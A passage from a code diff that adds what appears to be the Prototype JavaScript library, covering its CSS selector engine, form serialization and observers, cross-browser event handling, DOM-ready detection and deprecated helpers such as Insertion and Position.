+        return Selector.xpath.pseudos.nth("(count(./following-sibling::*) + 1) ", m);
+      },
+      'nth-of-type':    function(m) {
+        return Selector.xpath.pseudos.nth("position() ", m);
+      },
+      'nth-last-of-type': function(m) {
+        return Selector.xpath.pseudos.nth("(last() + 1 - position()) ", m);
+      },
+      'first-of-type':  function(m) {
+        m[6] = "1"; return Selector.xpath.pseudos['nth-of-type'](m);
+      },
+      'last-of-type':   function(m) {
+        m[6] = "1"; return Selector.xpath.pseudos['nth-last-of-type'](m);
+      },
+      'only-of-type':   function(m) {
+        var p = Selector.xpath.pseudos; return p['first-of-type'](m) + p['last-of-type'](m);
+      },
+      nth: function(fragment, m) {
+        var mm, formula = m[6], predicate;
+        if (formula == 'even') formula = '2n+0';
+        if (formula == 'odd')  formula = '2n+1';
+        if (mm = formula.match(/^(\d+)$/)) // digit only
+          return '[' + fragment + "= " + mm[1] + ']';
+        if (mm = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
+          if (mm[1] == "-") mm[1] = -1;
+          var a = mm[1] ? Number(mm[1]) : 1;
+          var b = mm[2] ? Number(mm[2]) : 0;
+          predicate = "[((#{fragment} - #{b}) mod #{a} = 0) and " +
+          "((#{fragment} - #{b}) div #{a} >= 0)]";
+          return new Template(predicate).evaluate({
+            fragment: fragment, a: a, b: b });
+        }
+      }
+    }
+  },
+
+  criteria: {
+    tagName:      'n = h.tagName(n, r, "#{1}", c);   c = false;',
+    className:    'n = h.className(n, r, "#{1}", c); c = false;',
+    id:           'n = h.id(n, r, "#{1}", c);        c = false;',
+    attrPresence: 'n = h.attrPresence(n, r, "#{1}"); c = false;',
+    attr: function(m) {
+      m[3] = (m[5] || m[6]);
+      return new Template('n = h.attr(n, r, "#{1}", "#{3}", "#{2}"); c = false;').evaluate(m);
+    },
+    pseudo: function(m) {
+      if (m[6]) m[6] = m[6].replace(/"/g, '\\"');
+      return new Template('n = h.pseudo(n, "#{1}", "#{6}", r, c); c = false;').evaluate(m);
+    },
+    descendant:   'c = "descendant";',
+    child:        'c = "child";',
+    adjacent:     'c = "adjacent";',
+    laterSibling: 'c = "laterSibling";'
+  },
+
+  patterns: {
+    // combinators must be listed first
+    // (and descendant needs to be last combinator)
+    laterSibling: /^\s*~\s*/,
+    child:        /^\s*>\s*/,
+    adjacent:     /^\s*\+\s*/,
+    descendant:   /^\s/,
+
+    // selectors follow
+    tagName:      /^\s*(\*|[\w\-]+)(\b|$)?/,
+    id:           /^#([\w\-\*]+)(\b|$)/,
+    className:    /^\.([\w\-\*]+)(\b|$)/,
+    pseudo:       /^:((first|last|nth|nth-last|only)(-child|-of-type)|empty|checked|(en|dis)abled|not)(\((.*?)\))?(\b|$|(?=\s)|(?=:))/,
+    attrPresence: /^\[([\w]+)\]/,
+    attr:         /\[((?:[\w-]*:)?[\w-]+)\s*(?:([!^$*~|]?=)\s*((['"])([^\4]*?)\4|([^'"][^\]]*?)))?\]/
+  },
+
+  // for Selector.match and Element#match
+  assertions: {
+    tagName: function(element, matches) {
+      return matches[1].toUpperCase() == element.tagName.toUpperCase();
+    },
+
+    className: function(element, matches) {
+      return Element.hasClassName(element, matches[1]);
+    },
+
+    id: function(element, matches) {
+      return element.id === matches[1];
+    },
+
+    attrPresence: function(element, matches) {
+      return Element.hasAttribute(element, matches[1]);
+    },
+
+    attr: function(element, matches) {
+      var nodeValue = Element.readAttribute(element, matches[1]);
+      return Selector.operators[matches[2]](nodeValue, matches[3]);
+    }
+  },
+
+  handlers: {
+    // UTILITY FUNCTIONS
+    // joins two collections
+    concat: function(a, b) {
+      for (var i = 0, node; node = b[i]; i++)
+        a.push(node);
+      return a;
+    },
+
+    // marks an array of nodes for counting
+    mark: function(nodes) {
+      for (var i = 0, node; node = nodes[i]; i++)
+        node._counted = true;
+      return nodes;
+    },
+
+    unmark: function(nodes) {
+      for (var i = 0, node; node = nodes[i]; i++)
+        node._counted = undefined;
+      return nodes;
+    },
+
+    // mark each child node with its position (for nth calls)
+    // "ofType" flag indicates whether we're indexing for nth-of-type
+    // rather than nth-child
+    index: function(parentNode, reverse, ofType) {
+      parentNode._counted = true;
+      if (reverse) {
+        for (var nodes = parentNode.childNodes, i = nodes.length - 1, j = 1; i >= 0; i--) {
+          var node = nodes[i];
+          if (node.nodeType == 1 && (!ofType || node._counted)) node.nodeIndex = j++;
+        }
+      } else {
+        for (var i = 0, j = 1, nodes = parentNode.childNodes; node = nodes[i]; i++)
+          if (node.nodeType == 1 && (!ofType || node._counted)) node.nodeIndex = j++;
+      }
+    },
+
+    // filters out duplicates and extends all nodes
+    unique: function(nodes) {
+      if (nodes.length == 0) return nodes;
+      var results = [], n;
+      for (var i = 0, l = nodes.length; i < l; i++)
+        if (!(n = nodes[i])._counted) {
+          n._counted = true;
+          results.push(Element.extend(n));
+        }
+      return Selector.handlers.unmark(results);
+    },
+
+    // COMBINATOR FUNCTIONS
+    descendant: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        h.concat(results, node.getElementsByTagName('*'));
+      return results;
+    },
+
+    child: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        for (var j = 0, children = [], child; child = node.childNodes[j]; j++)
+          if (child.nodeType == 1 && child.tagName != '!') results.push(child);
+      }
+      return results;
+    },
+
+    adjacent: function(nodes) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        var next = this.nextElementSibling(node);
+        if (next) results.push(next);
+      }
+      return results;
+    },
+
+    laterSibling: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        h.concat(results, Element.nextSiblings(node));
+      return results;
+    },
+
+    nextElementSibling: function(node) {
+      while (node = node.nextSibling)
+	      if (node.nodeType == 1) return node;
+      return null;
+    },
+
+    previousElementSibling: function(node) {
+      while (node = node.previousSibling)
+        if (node.nodeType == 1) return node;
+      return null;
+    },
+
+    // TOKEN FUNCTIONS
+    tagName: function(nodes, root, tagName, combinator) {
+      tagName = tagName.toUpperCase();
+      var results = [], h = Selector.handlers;
+      if (nodes) {
+        if (combinator) {
+          // fastlane for ordinary descendant combinators
+          if (combinator == "descendant") {
+            for (var i = 0, node; node = nodes[i]; i++)
+              h.concat(results, node.getElementsByTagName(tagName));
+            return results;
+          } else nodes = this[combinator](nodes);
+          if (tagName == "*") return nodes;
+        }
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node.tagName.toUpperCase() == tagName) results.push(node);
+        return results;
+      } else return root.getElementsByTagName(tagName);
+    },
+
+    id: function(nodes, root, id, combinator) {
+      var targetNode = $(id), h = Selector.handlers;
+      if (!targetNode) return [];
+      if (!nodes && root == document) return [targetNode];
+      if (nodes) {
+        if (combinator) {
+          if (combinator == 'child') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (targetNode.parentNode == node) return [targetNode];
+          } else if (combinator == 'descendant') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (Element.descendantOf(targetNode, node)) return [targetNode];
+          } else if (combinator == 'adjacent') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (Selector.handlers.previousElementSibling(targetNode) == node)
+                return [targetNode];
+          } else nodes = h[combinator](nodes);
+        }
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node == targetNode) return [targetNode];
+        return [];
+      }
+      return (targetNode && Element.descendantOf(targetNode, root)) ? [targetNode] : [];
+    },
+
+    className: function(nodes, root, className, combinator) {
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      return Selector.handlers.byClassName(nodes, root, className);
+    },
+
+    byClassName: function(nodes, root, className) {
+      if (!nodes) nodes = Selector.handlers.descendant([root]);
+      var needle = ' ' + className + ' ';
+      for (var i = 0, results = [], node, nodeClassName; node = nodes[i]; i++) {
+        nodeClassName = node.className;
+        if (nodeClassName.length == 0) continue;
+        if (nodeClassName == className || (' ' + nodeClassName + ' ').include(needle))
+          results.push(node);
+      }
+      return results;
+    },
+
+    attrPresence: function(nodes, root, attr) {
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      var results = [];
+      for (var i = 0, node; node = nodes[i]; i++)
+        if (Element.hasAttribute(node, attr)) results.push(node);
+      return results;
+    },
+
+    attr: function(nodes, root, attr, value, operator) {
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      var handler = Selector.operators[operator], results = [];
+      for (var i = 0, node; node = nodes[i]; i++) {
+        var nodeValue = Element.readAttribute(node, attr);
+        if (nodeValue === null) continue;
+        if (handler(nodeValue, value)) results.push(node);
+      }
+      return results;
+    },
+
+    pseudo: function(nodes, name, value, root, combinator) {
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      return Selector.pseudos[name](nodes, value, root);
+    }
+  },
+
+  pseudos: {
+    'first-child': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        if (Selector.handlers.previousElementSibling(node)) continue;
+          results.push(node);
+      }
+      return results;
+    },
+    'last-child': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        if (Selector.handlers.nextElementSibling(node)) continue;
+          results.push(node);
+      }
+      return results;
+    },
+    'only-child': function(nodes, value, root) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!h.previousElementSibling(node) && !h.nextElementSibling(node))
+          results.push(node);
+      return results;
+    },
+    'nth-child':        function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root);
+    },
+    'nth-last-child':   function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, true);
+    },
+    'nth-of-type':      function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, false, true);
+    },
+    'nth-last-of-type': function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, true, true);
+    },
+    'first-of-type':    function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, "1", root, false, true);
+    },
+    'last-of-type':     function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, "1", root, true, true);
+    },
+    'only-of-type':     function(nodes, formula, root) {
+      var p = Selector.pseudos;
+      return p['last-of-type'](p['first-of-type'](nodes, formula, root), formula, root);
+    },
+
+    // handles the an+b logic
+    getIndices: function(a, b, total) {
+      if (a == 0) return b > 0 ? [b] : [];
+      return $R(1, total).inject([], function(memo, i) {
+        if (0 == (i - b) % a && (i - b) / a >= 0) memo.push(i);
+        return memo;
+      });
+    },
+
+    // handles nth(-last)-child, nth(-last)-of-type, and (first|last)-of-type
+    nth: function(nodes, formula, root, reverse, ofType) {
+      if (nodes.length == 0) return [];
+      if (formula == 'even') formula = '2n+0';
+      if (formula == 'odd')  formula = '2n+1';
+      var h = Selector.handlers, results = [], indexed = [], m;
+      h.mark(nodes);
+      for (var i = 0, node; node = nodes[i]; i++) {
+        if (!node.parentNode._counted) {
+          h.index(node.parentNode, reverse, ofType);
+          indexed.push(node.parentNode);
+        }
+      }
+      if (formula.match(/^\d+$/)) { // just a number
+        formula = Number(formula);
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node.nodeIndex == formula) results.push(node);
+      } else if (m = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
+        if (m[1] == "-") m[1] = -1;
+        var a = m[1] ? Number(m[1]) : 1;
+        var b = m[2] ? Number(m[2]) : 0;
+        var indices = Selector.pseudos.getIndices(a, b, nodes.length);
+        for (var i = 0, node, l = indices.length; node = nodes[i]; i++) {
+          for (var j = 0; j < l; j++)
+            if (node.nodeIndex == indices[j]) results.push(node);
+        }
+      }
+      h.unmark(nodes);
+      h.unmark(indexed);
+      return results;
+    },
+
+    'empty': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        // IE treats comments as element nodes
+        if (node.tagName == '!' || (node.firstChild && !node.innerHTML.match(/^\s*$/))) continue;
+        results.push(node);
+      }
+      return results;
+    },
+
+    'not': function(nodes, selector, root) {
+      var h = Selector.handlers, selectorType, m;
+      var exclusions = new Selector(selector).findElements(root);
+      h.mark(exclusions);
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!node._counted) results.push(node);
+      h.unmark(exclusions);
+      return results;
+    },
+
+    'enabled': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!node.disabled) results.push(node);
+      return results;
+    },
+
+    'disabled': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (node.disabled) results.push(node);
+      return results;
+    },
+
+    'checked': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (node.checked) results.push(node);
+      return results;
+    }
+  },
+
+  operators: {
+    '=':  function(nv, v) { return nv == v; },
+    '!=': function(nv, v) { return nv != v; },
+    '^=': function(nv, v) { return nv.startsWith(v); },
+    '$=': function(nv, v) { return nv.endsWith(v); },
+    '*=': function(nv, v) { return nv.include(v); },
+    '~=': function(nv, v) { return (' ' + nv + ' ').include(' ' + v + ' '); },
+    '|=': function(nv, v) { return ('-' + nv.toUpperCase() + '-').include('-' + v.toUpperCase() + '-'); }
+  },
+
+  matchElements: function(elements, expression) {
+    var matches = new Selector(expression).findElements(), h = Selector.handlers;
+    h.mark(matches);
+    for (var i = 0, results = [], element; element = elements[i]; i++)
+      if (element._counted) results.push(element);
+    h.unmark(matches);
+    return results;
+  },
+
+  findElement: function(elements, expression, index) {
+    if (Object.isNumber(expression)) {
+      index = expression; expression = false;
+    }
+    return Selector.matchElements(elements, expression || '*')[index || 0];
+  },
+
+  findChildElements: function(element, expressions) {
+    var exprs = expressions.join(','), expressions = [];
+    exprs.scan(/(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/, function(m) {
+      expressions.push(m[1].strip());
+    });
+    var results = [], h = Selector.handlers;
+    for (var i = 0, l = expressions.length, selector; i < l; i++) {
+      selector = new Selector(expressions[i].strip());
+      h.concat(results, selector.findElements(element));
+    }
+    return (l > 1) ? h.unique(results) : results;
+  }
+});
+
+function $$() {
+  return Selector.findChildElements(document, $A(arguments));
+}
+var Form = {
+  reset: function(form) {
+    $(form).reset();
+    return form;
+  },
+
+  serializeElements: function(elements, options) {
+    if (typeof options != 'object') options = { hash: !!options };
+    else if (options.hash === undefined) options.hash = true;
+    var key, value, submitted = false, submit = options.submit;
+
+    var data = elements.inject({ }, function(result, element) {
+      if (!element.disabled && element.name) {
+        key = element.name; value = $(element).getValue();
+        if (value != null && (element.type != 'submit' || (!submitted &&
+            submit !== false && (!submit || key == submit) && (submitted = true)))) {
+          if (key in result) {
+            // a key is already present; construct an array of values
+            if (!Object.isArray(result[key])) result[key] = [result[key]];
+            result[key].push(value);
+          }
+          else result[key] = value;
+        }
+      }
+      return result;
+    });
+
+    return options.hash ? data : Object.toQueryString(data);
+  }
+};
+
+Form.Methods = {
+  serialize: function(form, options) {
+    return Form.serializeElements(Form.getElements(form), options);
+  },
+
+  getElements: function(form) {
+    return $A($(form).getElementsByTagName('*')).inject([],
+      function(elements, child) {
+        if (Form.Element.Serializers[child.tagName.toLowerCase()])
+          elements.push(Element.extend(child));
+        return elements;
+      }
+    );
+  },
+
+  getInputs: function(form, typeName, name) {
+    form = $(form);
+    var inputs = form.getElementsByTagName('input');
+
+    if (!typeName && !name) return $A(inputs).map(Element.extend);
+
+    for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) {
+      var input = inputs[i];
+      if ((typeName && input.type != typeName) || (name && input.name != name))
+        continue;
+      matchingInputs.push(Element.extend(input));
+    }
+
+    return matchingInputs;
+  },
+
+  disable: function(form) {
+    form = $(form);
+    Form.getElements(form).invoke('disable');
+    return form;
+  },
+
+  enable: function(form) {
+    form = $(form);
+    Form.getElements(form).invoke('enable');
+    return form;
+  },
+
+  findFirstElement: function(form) {
+    var elements = $(form).getElements().findAll(function(element) {
+      return 'hidden' != element.type && !element.disabled;
+    });
+    var firstByIndex = elements.findAll(function(element) {
+      return element.hasAttribute('tabIndex') && element.tabIndex >= 0;
+    }).sortBy(function(element) { return element.tabIndex }).first();
+
+    return firstByIndex ? firstByIndex : elements.find(function(element) {
+      return ['input', 'select', 'textarea'].include(element.tagName.toLowerCase());
+    });
+  },
+
+  focusFirstElement: function(form) {
+    form = $(form);
+    form.findFirstElement().activate();
+    return form;
+  },
+
+  request: function(form, options) {
+    form = $(form), options = Object.clone(options || { });
+
+    var params = options.parameters, action = form.readAttribute('action') || '';
+    if (action.blank()) action = window.location.href;
+    options.parameters = form.serialize(true);
+
+    if (params) {
+      if (Object.isString(params)) params = params.toQueryParams();
+      Object.extend(options.parameters, params);
+    }
+
+    if (form.hasAttribute('method') && !options.method)
+      options.method = form.method;
+
+    return new Ajax.Request(action, options);
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+Form.Element = {
+  focus: function(element) {
+    $(element).focus();
+    return element;
+  },
+
+  select: function(element) {
+    $(element).select();
+    return element;
+  }
+};
+
+Form.Element.Methods = {
+  serialize: function(element) {
+    element = $(element);
+    if (!element.disabled && element.name) {
+      var value = element.getValue();
+      if (value != undefined) {
+        var pair = { };
+        pair[element.name] = value;
+        return Object.toQueryString(pair);
+      }
+    }
+    return '';
+  },
+
+  getValue: function(element) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    return Form.Element.Serializers[method](element);
+  },
+
+  setValue: function(element, value) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    Form.Element.Serializers[method](element, value);
+    return element;
+  },
+
+  clear: function(element) {
+    $(element).value = '';
+    return element;
+  },
+
+  present: function(element) {
+    return $(element).value != '';
+  },
+
+  activate: function(element) {
+    element = $(element);
+    try {
+      element.focus();
+      if (element.select && (element.tagName.toLowerCase() != 'input' ||
+          !['button', 'reset', 'submit'].include(element.type)))
+        element.select();
+    } catch (e) { }
+    return element;
+  },
+
+  disable: function(element) {
+    element = $(element);
+    element.blur();
+    element.disabled = true;
+    return element;
+  },
+
+  enable: function(element) {
+    element = $(element);
+    element.disabled = false;
+    return element;
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+var Field = Form.Element;
+var $F = Form.Element.Methods.getValue;
+
+/*--------------------------------------------------------------------------*/
+
+Form.Element.Serializers = {
+  input: function(element, value) {
+    switch (element.type.toLowerCase()) {
+      case 'checkbox':
+      case 'radio':
+        return Form.Element.Serializers.inputSelector(element, value);
+      default:
+        return Form.Element.Serializers.textarea(element, value);
+    }
+  },
+
+  inputSelector: function(element, value) {
+    if (value === undefined) return element.checked ? element.value : null;
+    else element.checked = !!value;
+  },
+
+  textarea: function(element, value) {
+    if (value === undefined) return element.value;
+    else element.value = value;
+  },
+
+  select: function(element, index) {
+    if (index === undefined)
+      return this[element.type == 'select-one' ?
+        'selectOne' : 'selectMany'](element);
+    else {
+      var opt, value, single = !Object.isArray(index);
+      for (var i = 0, length = element.length; i < length; i++) {
+        opt = element.options[i];
+        value = this.optionValue(opt);
+        if (single) {
+          if (value == index) {
+            opt.selected = true;
+            return;
+          }
+        }
+        else opt.selected = index.include(value);
+      }
+    }
+  },
+
+  selectOne: function(element) {
+    var index = element.selectedIndex;
+    return index >= 0 ? this.optionValue(element.options[index]) : null;
+  },
+
+  selectMany: function(element) {
+    var values, length = element.length;
+    if (!length) return null;
+
+    for (var i = 0, values = []; i < length; i++) {
+      var opt = element.options[i];
+      if (opt.selected) values.push(this.optionValue(opt));
+    }
+    return values;
+  },
+
+  optionValue: function(opt) {
+    // extend element because hasAttribute may not be native
+    return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text;
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+Abstract.TimedObserver = Class.create(PeriodicalExecuter, {
+  initialize: function($super, element, frequency, callback) {
+    $super(callback, frequency);
+    this.element   = $(element);
+    this.lastValue = this.getValue();
+  },
+
+  execute: function() {
+    var value = this.getValue();
+    if (Object.isString(this.lastValue) && Object.isString(value) ?
+        this.lastValue != value : String(this.lastValue) != String(value)) {
+      this.callback(this.element, value);
+      this.lastValue = value;
+    }
+  }
+});
+
+Form.Element.Observer = Class.create(Abstract.TimedObserver, {
+  getValue: function() {
+    return Form.Element.getValue(this.element);
+  }
+});
+
+Form.Observer = Class.create(Abstract.TimedObserver, {
+  getValue: function() {
+    return Form.serialize(this.element);
+  }
+});
+
+/*--------------------------------------------------------------------------*/
+
+Abstract.EventObserver = Class.create({
+  initialize: function(element, callback) {
+    this.element  = $(element);
+    this.callback = callback;
+
+    this.lastValue = this.getValue();
+    if (this.element.tagName.toLowerCase() == 'form')
+      this.registerFormCallbacks();
+    else
+      this.registerCallback(this.element);
+  },
+
+  onElementEvent: function() {
+    var value = this.getValue();
+    if (this.lastValue != value) {
+      this.callback(this.element, value);
+      this.lastValue = value;
+    }
+  },
+
+  registerFormCallbacks: function() {
+    Form.getElements(this.element).each(this.registerCallback, this);
+  },
+
+  registerCallback: function(element) {
+    if (element.type) {
+      switch (element.type.toLowerCase()) {
+        case 'checkbox':
+        case 'radio':
+          Event.observe(element, 'click', this.onElementEvent.bind(this));
+          break;
+        default:
+          Event.observe(element, 'change', this.onElementEvent.bind(this));
+          break;
+      }
+    }
+  }
+});
+
+Form.Element.EventObserver = Class.create(Abstract.EventObserver, {
+  getValue: function() {
+    return Form.Element.getValue(this.element);
+  }
+});
+
+Form.EventObserver = Class.create(Abstract.EventObserver, {
+  getValue: function() {
+    return Form.serialize(this.element);
+  }
+});
+if (!window.Event) var Event = { };
+
+Object.extend(Event, {
+  KEY_BACKSPACE: 8,
+  KEY_TAB:       9,
+  KEY_RETURN:   13,
+  KEY_ESC:      27,
+  KEY_LEFT:     37,
+  KEY_UP:       38,
+  KEY_RIGHT:    39,
+  KEY_DOWN:     40,
+  KEY_DELETE:   46,
+  KEY_HOME:     36,
+  KEY_END:      35,
+  KEY_PAGEUP:   33,
+  KEY_PAGEDOWN: 34,
+  KEY_INSERT:   45,
+
+  cache: { },
+
+  relatedTarget: function(event) {
+    var element;
+    switch(event.type) {
+      case 'mouseover': element = event.fromElement; break;
+      case 'mouseout':  element = event.toElement;   break;
+      default: return null;
+    }
+    return Element.extend(element);
+  }
+});
+
+Event.Methods = (function() {
+  var isButton;
+
+  if (Prototype.Browser.IE) {
+    var buttonMap = { 0: 1, 1: 4, 2: 2 };
+    isButton = function(event, code) {
+      return event.button == buttonMap[code];
+    };
+
+  } else if (Prototype.Browser.WebKit) {
+    isButton = function(event, code) {
+      switch (code) {
+        case 0: return event.which == 1 && !event.metaKey;
+        case 1: return event.which == 1 && event.metaKey;
+        default: return false;
+      }
+    };
+
+  } else {
+    isButton = function(event, code) {
+      return event.which ? (event.which === code + 1) : (event.button === code);
+    };
+  }
+
+  return {
+    isLeftClick:   function(event) { return isButton(event, 0) },
+    isMiddleClick: function(event) { return isButton(event, 1) },
+    isRightClick:  function(event) { return isButton(event, 2) },
+
+    element: function(event) {
+      var node = Event.extend(event).target;
+      return Element.extend(node.nodeType == Node.TEXT_NODE ? node.parentNode : node);
+    },
+
+    findElement: function(event, expression) {
+      var element = Event.element(event);
+      return element.match(expression) ? element : element.up(expression);
+    },
+
+    pointer: function(event) {
+      return {
+        x: event.pageX || (event.clientX +
+          (document.documentElement.scrollLeft || document.body.scrollLeft)),
+        y: event.pageY || (event.clientY +
+          (document.documentElement.scrollTop || document.body.scrollTop))
+      };
+    },
+
+    pointerX: function(event) { return Event.pointer(event).x },
+    pointerY: function(event) { return Event.pointer(event).y },
+
+    stop: function(event) {
+      Event.extend(event);
+      event.preventDefault();
+      event.stopPropagation();
+      event.stopped = true;
+    }
+  };
+})();
+
+Event.extend = (function() {
+  var methods = Object.keys(Event.Methods).inject({ }, function(m, name) {
+    m[name] = Event.Methods[name].methodize();
+    return m;
+  });
+
+  if (Prototype.Browser.IE) {
+    Object.extend(methods, {
+      stopPropagation: function() { this.cancelBubble = true },
+      preventDefault:  function() { this.returnValue = false },
+      inspect: function() { return "[object Event]" }
+    });
+
+    return function(event) {
+      if (!event) return false;
+      if (event._extendedByPrototype) return event;
+
+      event._extendedByPrototype = Prototype.emptyFunction;
+      var pointer = Event.pointer(event);
+      Object.extend(event, {
+        target: event.srcElement,
+        relatedTarget: Event.relatedTarget(event),
+        pageX:  pointer.x,
+        pageY:  pointer.y
+      });
+      return Object.extend(event, methods);
+    };
+
+  } else {
+    Event.prototype = Event.prototype || document.createEvent("HTMLEvents").__proto__;
+    Object.extend(Event.prototype, methods);
+    return Prototype.K;
+  }
+})();
+
+Object.extend(Event, (function() {
+  var cache = Event.cache;
+
+  function getEventID(element) {
+    if (element._eventID) return element._eventID;
+    arguments.callee.id = arguments.callee.id || 1;
+    return element._eventID = ++arguments.callee.id;
+  }
+
+  function getDOMEventName(eventName) {
+    if (eventName && eventName.include(':')) return "dataavailable";
+    return eventName;
+  }
+
+  function getCacheForID(id) {
+    return cache[id] = cache[id] || { };
+  }
+
+  function getWrappersForEventName(id, eventName) {
+    var c = getCacheForID(id);
+    return c[eventName] = c[eventName] || [];
+  }
+
+  function createWrapper(element, eventName, handler) {
+    var id = getEventID(element);
+    var c = getWrappersForEventName(id, eventName);
+    if (c.pluck("handler").include(handler)) return false;
+
+    var wrapper = function(event) {
+      if (!Event || !Event.extend ||
+        (event.eventName && event.eventName != eventName))
+          return false;
+
+      Event.extend(event);
+      handler.call(element, event)
+    };
+
+    wrapper.handler = handler;
+    c.push(wrapper);
+    return wrapper;
+  }
+
+  function findWrapper(id, eventName, handler) {
+    var c = getWrappersForEventName(id, eventName);
+    return c.find(function(wrapper) { return wrapper.handler == handler });
+  }
+
+  function destroyWrapper(id, eventName, handler) {
+    var c = getCacheForID(id);
+    if (!c[eventName]) return false;
+    c[eventName] = c[eventName].without(findWrapper(id, eventName, handler));
+  }
+
+  function destroyCache() {
+    for (var id in cache)
+      for (var eventName in cache[id])
+        cache[id][eventName] = null;
+  }
+
+  if (window.attachEvent) {
+    window.attachEvent("onunload", destroyCache);
+  }
+
+  return {
+    observe: function(element, eventName, handler) {
+      element = $(element);
+      var name = getDOMEventName(eventName);
+
+      var wrapper = createWrapper(element, eventName, handler);
+      if (!wrapper) return element;
+
+      if (element.addEventListener) {
+        element.addEventListener(name, wrapper, false);
+      } else {
+        element.attachEvent("on" + name, wrapper);
+      }
+
+      return element;
+    },
+
+    stopObserving: function(element, eventName, handler) {
+      element = $(element);
+      var id = getEventID(element), name = getDOMEventName(eventName);
+
+      if (!handler && eventName) {
+        getWrappersForEventName(id, eventName).each(function(wrapper) {
+          element.stopObserving(eventName, wrapper.handler);
+        });
+        return element;
+
+      } else if (!eventName) {
+        Object.keys(getCacheForID(id)).each(function(eventName) {
+          element.stopObserving(eventName);
+        });
+        return element;
+      }
+
+      var wrapper = findWrapper(id, eventName, handler);
+      if (!wrapper) return element;
+
+      if (element.removeEventListener) {
+        element.removeEventListener(name, wrapper, false);
+      } else {
+        element.detachEvent("on" + name, wrapper);
+      }
+
+      destroyWrapper(id, eventName, handler);
+
+      return element;
+    },
+
+    fire: function(element, eventName, memo) {
+      element = $(element);
+      if (element == document && document.createEvent && !element.dispatchEvent)
+        element = document.documentElement;
+
+      if (document.createEvent) {
+        var event = document.createEvent("HTMLEvents");
+        event.initEvent("dataavailable", true, true);
+      } else {
+        var event = document.createEventObject();
+        event.eventType = "ondataavailable";
+      }
+
+      event.eventName = eventName;
+      event.memo = memo || { };
+
+      if (document.createEvent) {
+        element.dispatchEvent(event);
+      } else {
+        element.fireEvent(event.eventType, event);
+      }
+
+      return event;
+    }
+  };
+})());
+
+Object.extend(Event, Event.Methods);
+
+Element.addMethods({
+  fire:          Event.fire,
+  observe:       Event.observe,
+  stopObserving: Event.stopObserving
+});
+
+Object.extend(document, {
+  fire:          Element.Methods.fire.methodize(),
+  observe:       Element.Methods.observe.methodize(),
+  stopObserving: Element.Methods.stopObserving.methodize()
+});
+
+(function() {
+  /* Support for the DOMContentLoaded event is based on work by Dan Webb,
+     Matthias Miller, Dean Edwards and John Resig. */
+
+  var timer, fired = false;
+
+  function fireContentLoadedEvent() {
+    if (fired) return;
+    if (timer) window.clearInterval(timer);
+    document.fire("dom:loaded");
+    fired = true;
+  }
+
+  if (document.addEventListener) {
+    if (Prototype.Browser.WebKit) {
+      timer = window.setInterval(function() {
+        if (/loaded|complete/.test(document.readyState))
+          fireContentLoadedEvent();
+      }, 0);
+
+      Event.observe(window, "load", fireContentLoadedEvent);
+
+    } else {
+      document.addEventListener("DOMContentLoaded",
+        fireContentLoadedEvent, false);
+    }
+
+  } else {
+    document.write("<script id=__onDOMContentLoaded defer src=//:><\/script>");
+    $("__onDOMContentLoaded").onreadystatechange = function() {
+      if (this.readyState == "complete") {
+        this.onreadystatechange = null;
+        fireContentLoadedEvent();
+      }
+    };
+  }
+})();
+/*------------------------------- DEPRECATED -------------------------------*/
+
+Hash.toQueryString = Object.toQueryString;
+
+var Toggle = { display: Element.toggle };
+
+Element.Methods.childOf = Element.Methods.descendantOf;
+
+var Insertion = {
+  Before: function(element, content) {
+    return Element.insert(element, {before:content});
+  },
+
+  Top: function(element, content) {
+    return Element.insert(element, {top:content});
+  },
+
+  Bottom: function(element, content) {
+    return Element.insert(element, {bottom:content});
+  },
+
+  After: function(element, content) {
+    return Element.insert(element, {after:content});
+  }
+};
+
+var $continue = new Error('"throw $continue" is deprecated, use "return" instead');
+
+// This should be moved to script.aculo.us; notice the deprecated methods
+// further below, that map to the newer Element methods.
+var Position = {
+  // set to true if needed, warning: firefox performance problems
+  // NOT neeeded for page scrolling, only if draggable contained in
+  // scrollable elements
+  includeScrollOffsets: false,
+
+  // must be called before calling withinIncludingScrolloffset, every time the
+  // page is scrolled
+  prepare: function() {
